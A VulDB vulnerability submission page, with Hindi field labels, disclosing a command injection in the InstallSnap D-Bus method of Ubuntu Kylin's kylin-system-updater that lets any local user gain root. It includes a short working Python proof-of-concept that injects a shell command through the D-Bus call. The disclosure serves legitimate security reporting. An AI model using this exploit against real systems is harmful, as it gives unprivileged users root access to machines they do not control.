| शीर्षक | UbuntuKylin OS privilege escalation vulnerability |
|---|
| विवरण | Describe
There is a command injection vulnerability in the InstallSnap function in the update component (Kylin-system-updater) of the Ubuntu Kylin OS system. Any user can call the vulnerability, causing ordinary users to obtain root privileges through the vulnerability.
Hazard level
High
Affected version
Ubuntukylin：kylin-system-updater <= 1.4.20kord
POC&&EXP
ISO Download:
https://www.ubuntukylin.com/downloads/download.php?id=91
exp.py
```
import dbus
import os
payload = ';touch /InstallSnap.txt;'
bus=dbus.SystemBus()
xattr=bus.get_object('com.kylin.systemupgrade','/com/kylin/systemupgrade')
iface=dbus.Interface(xattr,dbus_interface='com.kylin.systemupgrade.interface')
prop=iface.InstallSnap("{}".format(payload))
print(prop)
os.system("ls -l /InstallSnap.txt")
``` |
|---|
| स्रोत | ⚠️ https://github.com/cn-lwj/vuldb/blob/master/kylin-system-updater_vuln.md |
|---|
| उपयोगकर्ता | cn-lwj (UID 42196) |
|---|
| सबमिशन | 03/03/2023 10:53 AM (4 साल पहले) |
|---|
| संयम | 08/03/2023 07:06 PM (5 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 222600 [kylin-system-updater तक 1.4.20kord पर Ubuntu Kylin Update InstallSnap अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|